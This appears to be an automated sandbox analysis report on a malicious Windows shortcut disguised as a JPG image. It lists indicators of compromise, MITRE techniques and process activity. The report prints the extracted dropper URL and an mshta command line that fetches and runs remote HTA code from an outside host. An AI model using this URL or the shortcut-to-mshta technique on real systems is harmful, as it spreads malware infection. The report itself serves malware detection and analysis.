1af2c8d963b56512e04a7f2136b3794f4172ae089e72880119e6bcdba4e9df9c

Analysis

max time kernel
205s
max time network
277s
platform
windows10-2004_x64
resource
win10v2004-20220310-en
submitted
22-03-2022 12:37

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General

Target

samples/IMG20210713121548.jpg.lnk

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://inapharma.in/css/files/photos/Radhika-Images/Image5

Signatures

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

33 1264 mshta.exe
35 1264 mshta.exe
37 1264 mshta.exe
38 1264 mshta.exe
41 1264 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation cmd.exe

flow	pid	process
33	1264	mshta.exe
35	1264	mshta.exe
37	1264	mshta.exe
38	1264	mshta.exe
41	1264	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops file in Windows directory 62 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT50D4.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT894D.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\BIT6520.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\LZOCjtiHKk8=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\BIT2CA.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\BIT637.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\v9GXr9MSfUt92b0dEpOsHH2H0TwcnvKmtIW8g3ovM=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\5ondRmJ90JlkPETuN535TWk=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\BIT763F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT56FF.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\FTTOLXxEZk0li+ZNE2Uo=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\BIT6948.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT8A09.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\9+dL4Puh6FM8puPxsBEX86BMeGqpuC0b7gf2fD9DLLo=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT5018.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT579D.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\BIT71B8.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\c3ca3df6b0660cc02fa0c60992eb1164c186b223	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\BIT75B1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\f3535a3b47819a04c6d5ee18905493be086e801e	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\BIT623F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT7159.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT8BB1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\BITE7E9.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\BIT1BF.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT4D67.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\BIT68CA.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\Xbfe7KpvVnvJHxQ2cRDBmUlnoMnpDY=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\2cd32031792245e69c7777193005916861cbbe94	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\BITE8D4.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\d9f2a302574bf135efc9dbd1a8083a336f7f52f0	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\cb9f14b7916e97a31f1e53948ed1b67f\6\BIT70DB.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT7216.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BITF317.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BITF644.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\e1a85885fd4453165061351651289cce8f8590c4	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BIT3D74.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\F2WKV54ysEMEW9U+EfiUeJcNcgfNL4pMC5NmE0a3mAg=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT82E3.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\BIT93F1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT4A19.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\BIT4AA6.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\ca4af4339884f7018bf988ecac7702ff\612ad442b8740f4c57b8c84e6bf465ba4699118c	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\af66e12c1bb9d8519da21259d0fcd88c247cb4f1	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\BIT6104.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\fbaaae7103d0f0a1303a40d280aa18bafcd08dcf	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\a3f602ea4d534d006919a2613d91f9506b383314	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\BIT3E6F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\fDFnweOZvFE=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\BIT621F.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d60cb501610b6a66743c55eade3ef996\CsA9z1\SlUHUPO8bKnA\BITE74B.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\pj5OoD7hJ+dBGy+3XOjLT8WsuYwervv\BIT56A.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\7752a73587b3362d505a041fe7f69ecd\BIT4C2E.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\YZBnsYBVNBTl3Isrrjy7P0\BIT61B1.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\BIT8275.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\17087e6e4710e63df4fcd8834f70bc99\BITEE72.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\9d6172fa1dc41a48846593219fc6519f\Cmn5TH6S2lFFnfMN8MLr2EoNUIAGzQo2UUjHGMEC99A=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\2ef09e08315a593ec3af8ec57ab6a31e\6e15245aed25ee83b027521f9cf9ea812c9d016d	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\26794b1631618c81e2caec277357b370\daNJ9YVgpN191GzoPynRDpTEDO9uUytOK6Ln7xcN8To=	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT8B24.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d341f4322500ef92547a141039af2d20\o\egfDu3QHOC\BIT9344.tmp	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\Download\d1d4bb0c910695f4fcf53d8f91faafa7\Jda7di8befpfPWz3DrhkMwwJL9XbuL8\BIT64A2.tmp	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 4308 wrote to memory of 1264 4308 cmd.exe mshta.exe
PID 4308 wrote to memory of 1264 4308 cmd.exe mshta.exe

description	pid	process	target process
PID 4308 wrote to memory of 1264	4308	cmd.exe	mshta.exe
PID 4308 wrote to memory of 1264	4308	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG20210713121548.jpg.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Radhika-Images/Image5
  2⤵
  - Blocklisted process makes network request
  - Modifies system certificate store
  PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1264-135-0x0000019CBD940000-0x0000019CBE401000-memory.dmp

Filesize
10.8MB

Download
memory/1264-136-0x0000019CD6F96000-0x0000019CD6F97000-memory.dmp

Filesize
4KB

Download
memory/3736-137-0x0000016EE8F60000-0x0000016EE8F70000-memory.dmp

Filesize
64KB

Download
memory/3736-138-0x0000016EE9190000-0x0000016EE91A0000-memory.dmp

Filesize
64KB

Download
memory/3736-139-0x0000016EE9380000-0x0000016EE9384000-memory.dmp

Filesize
16KB

Download
memory/3736-140-0x0000016EEB910000-0x0000016EEB914000-memory.dmp

Filesize
16KB

Download
memory/3736-141-0x0000016EEB910000-0x0000016EEB914000-memory.dmp

Filesize
16KB

Download
memory/3736-142-0x0000016EEB940000-0x0000016EEB944000-memory.dmp

Filesize
16KB

Download
memory/3736-143-0x0000016EEB920000-0x0000016EEB921000-memory.dmp

Filesize
4KB

Download
memory/3736-144-0x0000016EEBA00000-0x0000016EEBA04000-memory.dmp

Filesize
16KB

Download
memory/3736-145-0x0000016EEB9B0000-0x0000016EEB9B4000-memory.dmp

Filesize
16KB

Download
memory/3736-146-0x0000016EEBAC0000-0x0000016EEBAC4000-memory.dmp

Filesize
16KB

Download
memory/3736-147-0x0000016EEB9A0000-0x0000016EEB9A4000-memory.dmp

Filesize
16KB

Download